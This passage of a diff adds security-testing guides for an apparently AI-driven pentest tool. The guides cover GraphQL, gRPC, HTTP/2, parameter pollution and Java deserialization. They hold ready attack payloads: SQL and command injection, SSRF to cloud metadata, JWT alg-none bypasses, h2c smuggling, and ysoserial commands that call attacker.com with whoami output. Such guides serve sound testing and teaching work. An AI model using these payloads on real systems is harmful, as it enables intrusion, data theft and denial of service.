||||
|
||||
**Directive Bypass**
|
||||
```graphql
|
||||
# When @skip/@include are checked for auth
|
||||
query getAdmin @skip(if: false) { adminData { secrets } }
|
||||
```
|
||||
|
||||
**Fragment Spreading for Hidden Fields**
|
||||
```graphql
|
||||
fragment F on User { internalId, rawPassword, adminFlag }
|
||||
query { me { ...F } }
|
||||
```
|
||||
|
||||
**Operaton Name Manipulation**
|
||||
```
|
||||
GET /graphql?operationName=allowed&query={malicious}
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Discover endpoint** — `/.well-known/graphql`, `/graphql`, `/api/graphql`, GraphQL IDE exposure
|
||||
2. **Run introspection** — Full `__schema` query; use `graphql-voyager` to visualize
|
||||
3. **Schema mapping if blocked** — `clairvoyance` for field brute-forcing; exploit suggestions
|
||||
4. **Authorization testing** — Access every type/field as low-priv user; test horizontal/vertical IDOR
|
||||
5. **Mutation testing** — Try all mutations, especially admin/delete/role-change operations
|
||||
6. **Batching** — Test array batching and alias batching for rate-limit bypass
|
||||
7. **Injection** — Test string arguments for SQLi, NoSQLi, SSTI, command injection
|
||||
8. **DoS** — Test nesting depth, circular fragments, field duplication
|
||||
9. **Subscription** — Enumerate subscriptions, test for cross-user data leakage
|
||||
10. **SSRF** — Test URL-accepting fields
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate schema exposure via introspection or field suggestion leakage
|
||||
2. Show IDOR by accessing another user's data with their ID
|
||||
3. For batching abuse, show N operations completing in 1 HTTP request bypassing rate limits
|
||||
4. For injection, demonstrate data extraction or error leakage
|
||||
|
||||
## False Positives
|
||||
|
||||
- Introspection returning only allowed types with no sensitive data
|
||||
- Object-level auth correctly returning errors on unauthorized IDs
|
||||
- Rate limiting applied per-alias/batch operation count, not per HTTP request
|
||||
|
||||
## Impact
|
||||
|
||||
- Full schema disclosure enabling targeted attacks
|
||||
- Mass data extraction via IDOR/missing auth on fields
|
||||
- Account takeover via credential stuffing through batching
|
||||
- DoS through expensive uncapped queries
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Always check both GET and POST methods — different middleware may block one but not the other
|
||||
2. `graphql-cop` tool automates GraphQL security testing
|
||||
3. Check for GraphQL IDE (GraphiQL, Playground) exposed in production
|
||||
4. Batch brute-forcing in 1 request often bypasses rate limiting designed for HTTP-level
|
||||
5. Resolvers calling microservices inherit their SSRF/injection vulnerabilities
|
||||
6. Look for `extensions` field in responses — can leak resolver stack traces
|
||||
7. Nested queries may bypass field-level auth checks applied only at top level
|
||||
8. Try all CRUD mutations on objects you can read — create/update/delete auth often inconsistent
|
||||
9. `__typename` always works even when introspection is disabled — use it to map types
|
||||
|
||||
## Summary
|
||||
|
||||
GraphQL's flexibility is its attack surface. Introspection, batching, and single-endpoint design make it easy to enumerate data and bypass controls designed for traditional REST APIs. Test authorization at every resolver, cap query depth/complexity, and disable introspection in production.
|
||||
219
strix/skills/vulnerabilities/grpc_testing.md
Normal file
219
strix/skills/vulnerabilities/grpc_testing.md
Normal file
|
|
@ -0,0 +1,219 @@
|
|||
---
|
||||
name: grpc-testing
|
||||
description: gRPC security testing — injection, auth bypass, reflection abuse, and fuzzing protobuf endpoints
|
||||
---
|
||||
|
||||
# gRPC Security Testing
|
||||
|
||||
gRPC uses HTTP/2 and Protocol Buffers (protobuf) and presents a different attack surface from REST APIs. Authentication, input validation, and authorization bugs exist in gRPC services just as in REST, but standard web proxies and tools need special setup to interact with binary-encoded messages.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Transport**
|
||||
- gRPC over HTTP/2 (TLS and plaintext `h2c`)
|
||||
- gRPC-Web (HTTP/1.1 compatible variant, typically via proxy)
|
||||
- gRPC-Gateway (REST→gRPC proxy, creates additional attack surface)
|
||||
|
||||
**Service Discovery**
|
||||
- gRPC Server Reflection (exposes all service definitions at runtime)
|
||||
- `.proto` files in public repositories
|
||||
- Error messages revealing method/service names
|
||||
|
||||
**Common Ports**
|
||||
- 443 (TLS), 80 (plaintext), 50051 (default gRPC), 8080, 9090
|
||||
|
||||
## Tools Setup
|
||||
|
||||
```bash
|
||||
# grpcurl — like curl for gRPC
|
||||
grpcurl -plaintext localhost:50051 list # List services
|
||||
grpcurl -plaintext localhost:50051 list mypackage.MyService # List methods
|
||||
grpcurl -plaintext localhost:50051 describe mypackage.MyService.MyMethod # Method details
|
||||
grpcurl -plaintext -d '{"field":"value"}' localhost:50051 mypackage.MyService/MyMethod
|
||||
|
||||
# grpcui — web UI for gRPC (Burp-friendly)
|
||||
grpcui -plaintext localhost:50051
|
||||
# Opens browser UI at localhost:PORT, proxy through Burp
|
||||
|
||||
# Burp Suite
|
||||
# Enable HTTP/2 in Proxy settings
|
||||
# Use Burp's built-in gRPC support or grpcui as intermediary
|
||||
|
||||
# Evans — interactive gRPC client
|
||||
evans --host localhost --port 50051 --proto service.proto repl
|
||||
|
||||
# Postman — supports gRPC natively (import .proto or reflection)
|
||||
```
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### gRPC Reflection Abuse
|
||||
|
||||
Server reflection exposes service definitions without .proto files:
|
||||
```bash
|
||||
# List all services
|
||||
grpcurl -plaintext target:50051 list
|
||||
|
||||
# Describe a service
|
||||
grpcurl -plaintext target:50051 describe helloworld.Greeter
|
||||
|
||||
# Get full schema
|
||||
grpcurl -plaintext target:50051 describe .
|
||||
```
|
||||
|
||||
**Security implication**: Reflection in production gives attackers full API map without any auth.
|
||||
|
||||
### Authentication Bypass
|
||||
|
||||
```bash
|
||||
# Test without any auth
|
||||
grpcurl -plaintext -d '{"user_id":"admin"}' target:50051 user.UserService/GetUser
|
||||
|
||||
# Test with empty/invalid metadata
|
||||
grpcurl -plaintext -H "authorization: " -d '{"user_id":"1"}' target:50051 svc/Method
|
||||
|
||||
# Test with JWT algorithm none
|
||||
grpcurl -plaintext -H "authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.PAYLOAD." ...
|
||||
|
||||
# Test metadata injection
|
||||
grpcurl -plaintext -H "x-admin: true" -d '{}' target:50051 admin.AdminService/ListUsers
|
||||
```
|
||||
|
||||
### Injection via Protobuf Fields
|
||||
|
||||
```bash
|
||||
# SQL injection in string fields
|
||||
grpcurl -plaintext -d '{"email":"admin@x.com'"'"' OR 1=1--","password":"x"}' \
|
||||
target:50051 auth.AuthService/Login
|
||||
|
||||
# Command injection
|
||||
grpcurl -plaintext -d '{"filename":"test; id #"}' target:50051 file.FileService/ReadFile
|
||||
|
||||
# SSRF via URL fields
|
||||
grpcurl -plaintext -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
|
||||
target:50051 fetch.FetchService/FetchURL
|
||||
|
||||
# Template injection
|
||||
grpcurl -plaintext -d '{"template":"{{7*7}}"}' target:50051 report.ReportService/Generate
|
||||
```
|
||||
|
||||
### IDOR in gRPC
|
||||
|
||||
```bash
|
||||
# Access other users' data
|
||||
grpcurl -plaintext -H "authorization: Bearer OWN_TOKEN" \
|
||||
-d '{"user_id":"VICTIM_ID"}' target:50051 user.UserService/GetProfile
|
||||
|
||||
# Enumerate IDs
|
||||
for i in {1..100}; do
|
||||
grpcurl -plaintext -d "{\"id\":$i}" target:50051 svc.Service/GetResource 2>/dev/null
|
||||
done
|
||||
```
|
||||
|
||||
### gRPC-Gateway (REST→gRPC) Attacks
|
||||
|
||||
gRPC-Gateway translates HTTP REST to gRPC. The REST layer may have mismatches:
|
||||
```
|
||||
# REST endpoint:
|
||||
GET /v1/users/{id}
|
||||
|
||||
# May map to gRPC:
|
||||
UserService.GetUser({user_id: id})
|
||||
|
||||
# Test HTTP verb confusion, parameter injection at REST layer
|
||||
PUT /v1/users/VICTIM_ID # May bypass gRPC-level auth
|
||||
POST /v1/admin # REST gateway may expose unlisted gRPC methods
|
||||
```
|
||||
|
||||
### Streaming Abuse
|
||||
|
||||
```bash
|
||||
# Server streaming — enumerate via single request
|
||||
grpcurl -plaintext -d '{"page_size": 999999}' target:50051 data.DataService/ListAll
|
||||
|
||||
# Bidirectional streaming — connection hijacking
|
||||
# Test if stream context carries auth properly when switching users mid-stream
|
||||
```
|
||||
|
||||
### Unary gRPC Flooding / Slow Loris
|
||||
|
||||
```bash
|
||||
# Resource exhaustion via max concurrent streams
|
||||
# HTTP/2 streams: default max 100 concurrent
|
||||
# Open many streams without completing them
|
||||
```
|
||||
|
||||
## Protobuf Fuzzing
|
||||
|
||||
```bash
|
||||
# Protobuf encoding — test with invalid field types
|
||||
# Field 1, wire type 0 (varint): 0x08
|
||||
# Field 1, wire type 2 (length-delimited): 0x0a
|
||||
# Send malformed protobuf to trigger parsing errors
|
||||
|
||||
# Using radamsa for mutation
|
||||
echo '{"user_id":"test"}' | grpcurl -plaintext -d @ target:50051 svc/Method | \
|
||||
radamsa | grpcurl -plaintext -d @ target:50051 svc/Method
|
||||
|
||||
# Protobuf field overflow
|
||||
grpcurl -plaintext -d '{"value": -9999999999999}' target:50051 svc/Method
|
||||
grpcurl -plaintext -d '{"name": "'$(python3 -c "print('A'*100000)")'"}' target:50051 svc/Method
|
||||
```
|
||||
|
||||
## Error Message Exploitation
|
||||
|
||||
```bash
|
||||
# gRPC errors often include stack traces in development
|
||||
grpcurl -plaintext -d '{}' target:50051 svc/Method
|
||||
# Look for: file paths, framework versions, internal service names, SQL queries in errors
|
||||
|
||||
# Trigger different error types
|
||||
grpcurl -plaintext -d '{"id": "../../etc/passwd"}' target:50051 svc/Method
|
||||
grpcurl -plaintext -d '{"sql": "'"'"' OR 1=1"}' target:50051 svc/Method
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Discover endpoints** — Reflection API, .proto files in repos, Shodan/Censys for gRPC ports
|
||||
2. **Enumerate services** — `grpcurl list` and `describe` all services/methods
|
||||
3. **Test authentication** — Try all methods without auth, with invalid tokens, with metadata injection
|
||||
4. **Test authorization** — Access other users' resources with own token
|
||||
5. **Inject in string fields** — SQLi, CMDi, SSRF, SSTI via all string parameters
|
||||
6. **Test streaming** — Server/client/bidirectional streaming for auth and injection
|
||||
7. **Test gRPC-Web and REST gateway** — Different code paths, potential bypasses
|
||||
8. **Fuzz protobuf** — Invalid types, overflow values, missing required fields
|
||||
|
||||
## Validation
|
||||
|
||||
1. Show grpcurl command that achieves the bypass/injection
|
||||
2. Include request/response with evidence of vulnerability
|
||||
3. For auth bypass: show response with another user's data
|
||||
4. For injection: show error revealing query or OOB callback
|
||||
|
||||
## False Positives
|
||||
|
||||
- Reflection disabled in production (method not found error)
|
||||
- Proper TLS mutual auth (mTLS) preventing unauthenticated connections
|
||||
- Input properly sanitized before use in queries/commands
|
||||
|
||||
## Impact
|
||||
|
||||
- IDOR: cross-user data access in microservices
|
||||
- Auth bypass: access to administrative gRPC methods
|
||||
- Injection: full exploitation chain (SQLi, RCE, SSRF) through protobuf fields
|
||||
- Schema disclosure: complete API blueprint for targeted attacks
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Always try reflection first — many prod services forget to disable it
|
||||
2. `grpcui` makes testing much easier — run it locally and proxy through Burp
|
||||
3. gRPC-Gateway REST endpoints often have weaker auth than native gRPC
|
||||
4. Protobuf field numbers are stable across versions — old .proto files still work
|
||||
5. Check for gRPC health check endpoint: `grpc.health.v1.Health/Check`
|
||||
6. gRPC metadata (headers) is the equivalent of HTTP headers — test all auth bypass techniques
|
||||
7. Internal gRPC services often have no auth — find them via SSRF or network access
|
||||
8. Error status codes reveal info: `PERMISSION_DENIED` vs `NOT_FOUND` for IDOR enumeration
|
||||
|
||||
## Summary
|
||||
|
||||
gRPC's binary protocol and HTTP/2 transport require different tools but the same attack mindset. Server reflection gives you the full API map for free. Test authentication, authorization, and injection across all methods. Use grpcui for Burp-compatible interactive testing.
|
||||
226
strix/skills/vulnerabilities/http2_vulnerabilities.md
Normal file
226
strix/skills/vulnerabilities/http2_vulnerabilities.md
Normal file
|
|
@ -0,0 +1,226 @@
|
|||
---
|
||||
name: http2-vulnerabilities
|
||||
description: HTTP/2 specific vulnerabilities — h2c smuggling, rapid reset DoS, header injection, and protocol downgrade attacks
|
||||
---
|
||||
|
||||
# HTTP/2 Vulnerabilities
|
||||
|
||||
HTTP/2 introduces new attack surfaces beyond HTTP/1.1: multiplexed streams, header compression (HPACK), binary framing, and h2c (cleartext) upgrades. These enable novel smuggling variants, DoS through rapid stream reset, and information disclosure via compression side channels.
|
||||
|
||||
## HTTP/2 Architecture
|
||||
|
||||
```
|
||||
HTTP/2 features:
|
||||
- Binary framing layer (not text-based like HTTP/1.1)
|
||||
- Multiplexed streams (multiple requests per connection)
|
||||
- Header compression via HPACK
|
||||
- Server push
|
||||
- Stream prioritization
|
||||
- h2c: HTTP/2 over cleartext (for internal services)
|
||||
- h2: HTTP/2 over TLS
|
||||
```
|
||||
|
||||
## h2c Smuggling (HTTP/2 Cleartext Upgrade)
|
||||
|
||||
When a front-end proxy strips the `Upgrade: h2c` header but the backend processes it:
|
||||
|
||||
```
|
||||
# Send to front-end (load balancer/reverse proxy):
|
||||
GET / HTTP/1.1
|
||||
Host: target.com
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
|
||||
# Front-end strips Upgrade header, forwards as HTTP/1.1
|
||||
# If backend directly supports h2c, it upgrades
|
||||
# Attacker now has a direct HTTP/2 connection to backend
|
||||
# Bypasses front-end security controls (auth, WAF, ACL)
|
||||
```
|
||||
|
||||
**h2c Smuggling to bypass auth**
|
||||
```bash
|
||||
# Tool: h2csmuggler
|
||||
h2csmuggler.py --smuggle -x https://target.com/admin \
|
||||
-H "Transfer-Encoding: chunked" \
|
||||
"GET /admin/users HTTP/1.1\r\nHost: target.com\r\n\r\n"
|
||||
|
||||
# Direct h2c request to internal service:
|
||||
curl --http2-prior-knowledge http://internal-service:8080/admin
|
||||
```
|
||||
|
||||
## HTTP/2 Request Smuggling (H2.CL and H2.TE)
|
||||
|
||||
HTTP/2 downgraded to HTTP/1.1 by reverse proxy creates smuggling opportunities:
|
||||
|
||||
### H2.CL (Content-Length injection via HTTP/2)
|
||||
|
||||
```
|
||||
# HTTP/2 request (pseudo-headers):
|
||||
:method POST
|
||||
:path /
|
||||
:scheme https
|
||||
:authority target.com
|
||||
content-length: 0
|
||||
|
||||
# HTTP/2 allows injecting content-length — proxy may forward as HTTP/1.1 with that CL
|
||||
# Exploit: send request where HTTP/2 layer disagrees with HTTP/1.1 CL forwarded by proxy
|
||||
```
|
||||
|
||||
### H2.TE (Transfer-Encoding injection via HTTP/2)
|
||||
|
||||
```
|
||||
# HTTP/2 forbids Transfer-Encoding but some proxies forward it
|
||||
# Inject TE: chunked in HTTP/2 headers → proxy forwards → backend processes as chunked
|
||||
# Classic TE.CL or CL.TE smuggling via HTTP/2
|
||||
```
|
||||
|
||||
### Header Injection via HTTP/2
|
||||
|
||||
```
|
||||
# HTTP/2 request headers are binary — some proxies fail to sanitize newlines
|
||||
# Inject CRLF via HTTP/2 header value → forwarded to backend with injected header
|
||||
:path /foo HTTP/1.1\r\nTransfer-Encoding: chunked\r\n
|
||||
|
||||
# Header name injection
|
||||
foo: bar\r\nX-Injected: value
|
||||
```
|
||||
|
||||
## HPACK Compression Side Channel (CRIME/BREACH)
|
||||
|
||||
```
|
||||
# CRIME (CVE-2012-4929) — TLS compression oracle (now largely mitigated)
|
||||
# BREACH — HTTP response body compression oracle
|
||||
# HEIST — HTTPS response length via HTTP/2 server push timing
|
||||
|
||||
# If HTTP/2 + response body compression (gzip):
|
||||
# Attacker can probe compressed response length
|
||||
# Infer secret tokens character by character based on compression ratio
|
||||
# (Well-known secrets like CSRF tokens that appear in response body)
|
||||
```
|
||||
|
||||
## Rapid Reset DoS (CVE-2023-44487)
|
||||
|
||||
```
|
||||
# Attacker sends large number of HEADERS frames immediately followed by RST_STREAM
|
||||
# Each stream starts processing before being cancelled
|
||||
# Multiplexing allows 100+ streams per connection
|
||||
# Server processes requests, allocates resources, then must cancel
|
||||
# Can overwhelm server with minimal bandwidth
|
||||
|
||||
# Detection: server sending GOAWAY frames with ENHANCE_YOUR_CALM error
|
||||
# Impact: major CDNs and web servers affected (nginx, Apache, IIS)
|
||||
# Mitigation: rate limiting on streams, max concurrent streams settings
|
||||
```
|
||||
|
||||
## Server Push Abuse
|
||||
|
||||
```
|
||||
# If server push is enabled and attacker can control pushed URLs
|
||||
# Via Link: </resource>; rel=preload header reflected from user input
|
||||
# Attacker pushes: sensitive resources to victim's cache
|
||||
# Or: exfiltrates data via server push to attacker-controlled stream
|
||||
|
||||
# Test: inject Link header with rel=preload pointing to sensitive resource
|
||||
Link: </admin/secret>; rel=preload; as=fetch
|
||||
```
|
||||
|
||||
## Stream Multiplexing Attacks
|
||||
|
||||
```
|
||||
# Race conditions amplified by HTTP/2 multiplexing
|
||||
# Send N parallel requests in one TCP connection:
|
||||
# - Parallel login attempts (N-times more efficient brute force)
|
||||
# - Parallel IDOR probes
|
||||
# - Race condition exploitation (same window, more precision)
|
||||
|
||||
# Tool: Turbo Intruder (Burp) in single-packet attack mode
|
||||
# HTTP/2 allows all requests in one packet → no timing difference
|
||||
```
|
||||
|
||||
## HTTP/2 ALPN/SNI Attacks
|
||||
|
||||
```
|
||||
# SNI (Server Name Indication) in TLS ClientHello
|
||||
# ALPN (Application-Layer Protocol Negotiation)
|
||||
|
||||
# If application selects different code path based on ALPN:
|
||||
# h2 → different handlers than http/1.1
|
||||
# Possible: access h2-only internal endpoints by negotiating h2 ALPN
|
||||
```
|
||||
|
||||
## Protocol Confusion
|
||||
|
||||
```
|
||||
# Some proxies upgrade HTTP/1.1 to HTTP/2 internally
|
||||
# Mismatch in header handling (pseudo-headers vs regular headers)
|
||||
# :method, :path, :scheme, :authority — if these can be injected in HTTP/1.1...
|
||||
X-HTTP-Method-Override: :INJECTED_METHOD
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Detect HTTP/2 support** — `curl --http2 -I https://target.com`
|
||||
2. **Check h2c support** — `curl --http2-prior-knowledge http://target.com`
|
||||
3. **Test h2c smuggling** — h2csmuggler to access internal endpoints
|
||||
4. **Test H2.CL/H2.TE** — Use Burp Suite HTTP/2 inspector with Turbo Intruder
|
||||
5. **Check response compression** — `Accept-Encoding: gzip` + measure response length changes
|
||||
6. **Test server push** — Can you inject Link: header that triggers push?
|
||||
7. **Test rapid reset** — Measure server behavior under rapid HEADERS+RST_STREAM
|
||||
8. **Single-packet attacks** — Use HTTP/2 multiplexing for race condition testing
|
||||
|
||||
## Tools
|
||||
|
||||
```bash
|
||||
# curl (HTTP/2 support)
|
||||
curl --http2 https://target.com
|
||||
curl --http2-prior-knowledge http://target.com
|
||||
|
||||
# h2csmuggler
|
||||
pip install h2csmuggler
|
||||
h2csmuggler.py -x https://target.com/admin/
|
||||
|
||||
# Burp Suite
|
||||
# HTTP/2 is natively supported in Burp 2021.2+
|
||||
# Inspector pane shows HTTP/2 pseudo-headers
|
||||
# Turbo Intruder supports HTTP/2 single-packet attacks
|
||||
|
||||
# nghttp2 tools
|
||||
nghttp -v https://target.com # Verbose HTTP/2 session
|
||||
|
||||
# h2spec (H2 spec compliance testing)
|
||||
h2spec -h target.com -p 443 -t
|
||||
```
|
||||
|
||||
## Validation
|
||||
|
||||
1. For h2c smuggling: show request to restricted endpoint bypassing authentication
|
||||
2. For H2.CL/H2.TE: show classic smuggling impact (prefix injection to victim response)
|
||||
3. For server push: show pushed content in victim's browser cache
|
||||
4. For rapid reset: show CPU/memory spike with tool output
|
||||
|
||||
## False Positives
|
||||
|
||||
- h2c not supported on backend (only front-end h2)
|
||||
- Proxy strips Upgrade header as designed
|
||||
- Content-Length in HTTP/2 not forwarded by proxy
|
||||
- Request smuggling mitigated by proxy normalization
|
||||
|
||||
## Impact
|
||||
|
||||
- h2c smuggling: WAF/auth bypass, access to internal services
|
||||
- Request smuggling: cache poisoning, session hijacking, request queue poisoning
|
||||
- Rapid reset: DoS of HTTP/2-enabled servers
|
||||
- Side channel: CSRF token leakage via compression oracle
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Burp's HTTP/2 support is essential for modern testing — always upgrade to latest
|
||||
2. `h2c` on internal/backend services is common — front-end handles TLS, backend uses h2c
|
||||
3. Single-packet attacks via HTTP/2 multiplexing give better race condition timing than HTTP/1.1
|
||||
4. Check if proxy rewrites HTTP/1.1 to HTTP/2 internally — creates H2.CL/H2.TE surface
|
||||
5. Rapid reset (CVE-2023-44487) is usually low-hanging in self-hosted HTTP/2 servers without patching
|
||||
6. HTTP/2 server push + XSS = cache poisoning of pushed resources
|
||||
|
||||
## Summary
|
||||
|
||||
HTTP/2's efficiency features — multiplexing, binary framing, header compression — introduce new attack primitives. h2c smuggling bypasses front-end controls, request smuggling persists through H2→H1 downgrade, and multiplexing enables precise race conditions. Test both the h2 (TLS) and h2c (cleartext) surfaces on internal services.
|
||||
184
strix/skills/vulnerabilities/http_parameter_pollution.md
Normal file
184
strix/skills/vulnerabilities/http_parameter_pollution.md
Normal file
|
|
@ -0,0 +1,184 @@
|
|||
---
|
||||
name: http-parameter-pollution
|
||||
description: HTTP parameter pollution — exploiting inconsistent duplicate parameter handling across components
|
||||
---
|
||||
|
||||
# HTTP Parameter Pollution (HPP)
|
||||
|
||||
HTTP Parameter Pollution exploits inconsistencies in how different components (WAF, backend app, middleware, proxies) parse duplicate or repeated parameters. When the same parameter appears multiple times, different parsers use different resolution strategies — first, last, concat, or array — creating security bypass opportunities.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Locations**
|
||||
- Query string: `GET /search?q=a&q=b`
|
||||
- POST body: `q=a&q=b` (URL-encoded)
|
||||
- JSON arrays: `{"q": ["a","b"]}`
|
||||
- XML with repeated elements
|
||||
- HTTP headers with duplicate names
|
||||
- Cookie headers: `Cookie: a=1; a=2`
|
||||
- Path parameters in REST APIs
|
||||
|
||||
**Vulnerable Architectures**
|
||||
- WAF in front of app with different parser
|
||||
- API gateway + microservice with different framework
|
||||
- Reverse proxy + backend using different language
|
||||
- Load balancer rewriting parameters
|
||||
|
||||
## Parameter Parsing Behavior
|
||||
|
||||
| Technology | Duplicate param behavior |
|
||||
|-----------|------------------------|
|
||||
| PHP | Last value wins (`$_GET['x']` = last) |
|
||||
| ASP.NET | First and last concatenated with comma |
|
||||
| JSP/Servlet | First value wins |
|
||||
| Python (Flask/Django) | Last value wins (Flask), first (Django) |
|
||||
| Node (express) | Array `['a','b']` |
|
||||
| Ruby (Rails) | Last value wins |
|
||||
| Perl (CGI) | First value wins |
|
||||
| ModSecurity WAF | First value |
|
||||
| Cloudflare WAF | First value |
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### WAF Bypass
|
||||
|
||||
WAF checks first value, app uses last (or vice versa):
|
||||
```
|
||||
GET /search?q=legitimate&q=<script>alert(1)</script>
|
||||
# WAF sees: q=legitimate (safe)
|
||||
# App uses: q=<script>alert(1)</script> (malicious)
|
||||
```
|
||||
|
||||
```
|
||||
POST /login
|
||||
username=admin&password=x&password=INJECTED_SQL
|
||||
# WAF scans first password value
|
||||
# App uses last → SQLi bypass
|
||||
```
|
||||
|
||||
### Authentication Bypass
|
||||
|
||||
```
|
||||
GET /api/user?id=VICTIM&id=OWN_ID
|
||||
# Backend uses first = VICTIM, auth check uses last = OWN_ID
|
||||
```
|
||||
|
||||
### SSRF via HPP
|
||||
|
||||
```
|
||||
GET /proxy?url=http://internal&url=http://allowed.com
|
||||
# Allowlist checks url=http://allowed.com (last)
|
||||
# Proxy uses url=http://internal (first)
|
||||
```
|
||||
|
||||
### OAuth/Redirect HPP
|
||||
|
||||
```
|
||||
GET /oauth/authorize?redirect_uri=https://legit.com&redirect_uri=https://attacker.com&client_id=X
|
||||
# Validation: checks first = legit.com ✓
|
||||
# Redirect: uses last = attacker.com → token leakage
|
||||
```
|
||||
|
||||
### Signature Bypass
|
||||
|
||||
```
|
||||
POST /api/transfer
|
||||
amount=100&recipient=friend&amount=10000&mac=VALID_MAC_OF_FIRST_VALUES
|
||||
# MAC computed on first values (small transfer)
|
||||
# App executes last values (large transfer)
|
||||
```
|
||||
|
||||
### Server-Side HPP
|
||||
|
||||
When server constructs a backend query using user params:
|
||||
```
|
||||
# App: http://backend/api?user=INPUT&admin=false
|
||||
# Attacker input: user=alice&admin=true
|
||||
# Result: http://backend/api?user=alice&admin=false&admin=true
|
||||
# Backend may use last admin=true
|
||||
```
|
||||
|
||||
### Content-Type HPP
|
||||
|
||||
```
|
||||
POST /api/data
|
||||
Content-Type: application/x-www-form-urlencoded; charset=utf-8&boundary=attacker
|
||||
# Some parsers use boundary from Content-Type (multipart) instead of body
|
||||
```
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**URL Encoding**
|
||||
```
|
||||
param=val1%26param=val2 # %26 = &, creates second param after decode
|
||||
param=val1¶m%3dval2 # %3d = = sign
|
||||
```
|
||||
|
||||
**Array Notation**
|
||||
```
|
||||
param[]=val1¶m[]=val2 # PHP array notation
|
||||
param[0]=val1¶m[1]=val2
|
||||
```
|
||||
|
||||
**JSON Body**
|
||||
```json
|
||||
{"param": "safe", "param": "malicious"}
|
||||
# Some parsers use last key in duplicate JSON object
|
||||
```
|
||||
|
||||
**HTTP/2 Pseudo-headers**
|
||||
```
|
||||
# HTTP/2 allows duplicate header names
|
||||
# Exploit inconsistency between H2 and H1 backends
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Baseline** — Identify target parameters, document normal behavior
|
||||
2. **Duplicate injection** — Add second copy of each parameter with malicious payload
|
||||
3. **Swap order** — Test malicious=first, safe=last and safe=first, malicious=last
|
||||
4. **Component mapping** — Identify WAF, proxy, and app technologies
|
||||
5. **Auth parameters** — Focus on `user`, `id`, `role`, `admin`, `token`, `redirect_uri`
|
||||
6. **Compare parsers** — Send same request through direct access (bypassing WAF) to see app behavior
|
||||
7. **Client-side HPP** — If app constructs URLs with user data, test if it appends params the app already sends
|
||||
|
||||
### Client-Side HPP
|
||||
|
||||
```javascript
|
||||
// App constructs: /search?category=SAFE&sort=SAFE
|
||||
// If category input is: books&admin=true
|
||||
// Result: /search?category=books&admin=true&sort=SAFE
|
||||
```
|
||||
|
||||
## Validation
|
||||
|
||||
1. Show that the malicious value bypassed the WAF/middleware check
|
||||
2. Demonstrate different behavior vs. single legitimate parameter
|
||||
3. Prove which component used which value via response differences
|
||||
|
||||
## False Positives
|
||||
|
||||
- App and WAF use same parser behavior
|
||||
- Backend correctly rejects duplicate parameters
|
||||
- WAF configured to reject requests with duplicate params
|
||||
|
||||
## Impact
|
||||
|
||||
- WAF/IPS bypass enabling SQLi, XSS, command injection
|
||||
- Authorization bypass (role/admin parameter injection)
|
||||
- OAuth token theft via redirect_uri pollution
|
||||
- Business logic bypass via amount/value manipulation
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. `HPP Finder` Burp plugin automatically tests parameter pollution
|
||||
2. Always test POST body AND query string — frameworks often parse them differently
|
||||
3. Cookie duplication is often overlooked: `Cookie: session=a; session=b`
|
||||
4. Check JSON with duplicate keys — JavaScript JSON.parse uses last, Python uses last
|
||||
5. HTTP/2 → HTTP/1.1 downgrade by reverse proxy creates parameter injection opportunities
|
||||
6. In OAuth flows, `redirect_uri` duplication is a classic finding
|
||||
7. Test both orderings: malicious-first and malicious-last for each parameter
|
||||
|
||||
## Summary
|
||||
|
||||
HTTP Parameter Pollution exploits the fact that different components in a stack handle duplicate parameters differently. The attacker provides two values — one that passes security checks and one that gets executed — exploiting the component that uses the other value. Test every parameter in security-sensitive operations.
|
||||
|
|
@ -0,0 +1,263 @@
|
|||
---
|
||||
name: insecure-deserialization-advanced
|
||||
description: Advanced deserialization attacks — Java gadget chains, Python pickle RCE, PHP object injection, and .NET viewstate
|
||||
---
|
||||
|
||||
# Insecure Deserialization (Advanced)
|
||||
|
||||
Building on basic deserialization concepts, this covers language-specific gadget chains, tool usage, finding deserialization surfaces, and chaining deserialization to RCE. Each language/platform has unique characteristics and established exploitation patterns.
|
||||
|
||||
## Java Deserialization
|
||||
|
||||
### Detection Signatures
|
||||
|
||||
```
|
||||
# HTTP request with Java deserialized data:
|
||||
Content-Type: application/x-java-serialized-object
|
||||
# Or base64-encoded in cookie/header/body
|
||||
|
||||
# Java serialized data magic bytes:
|
||||
AC ED 00 05 (hex)
|
||||
rO0AB (base64 prefix)
|
||||
|
||||
# Check for these in:
|
||||
# Cookie values
|
||||
# POST body parameters
|
||||
# Custom HTTP headers
|
||||
# Viewstate alternatives
|
||||
```
|
||||
|
||||
### Common Entry Points
|
||||
|
||||
```
|
||||
# Cookie: JSESSIONID or custom session cookie
|
||||
# Cookie: rememberMe (Apache Shiro)
|
||||
# Cookie: SPRING_SECURITY_REMEMBER_ME_COOKIE
|
||||
# AMF (Adobe Flex/AMF format)
|
||||
# JMX/RMI endpoints
|
||||
# WebLogic T3/IIOP protocol
|
||||
# JBoss HTTP invoker: /invoker/JMXInvokerServlet
|
||||
# XMLDecoder (used in various frameworks)
|
||||
```
|
||||
|
||||
### Tool: ysoserial
|
||||
|
||||
```bash
|
||||
# Generate payloads for known gadget chains
|
||||
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/$(whoami)'
|
||||
java -jar ysoserial.jar CommonsCollections3 'curl http://attacker.com'
|
||||
java -jar ysoserial.jar Spring1 'ping attacker.com'
|
||||
java -jar ysoserial.jar Groovy1 'calc.exe'
|
||||
|
||||
# Common gadget chains by library:
|
||||
# CommonsCollections1-7 → Apache Commons Collections
|
||||
# Spring1/2 → Spring Framework
|
||||
# Hibernate1/2 → Hibernate ORM
|
||||
# Groovy1 → Groovy
|
||||
# ROME → ROME RSS library
|
||||
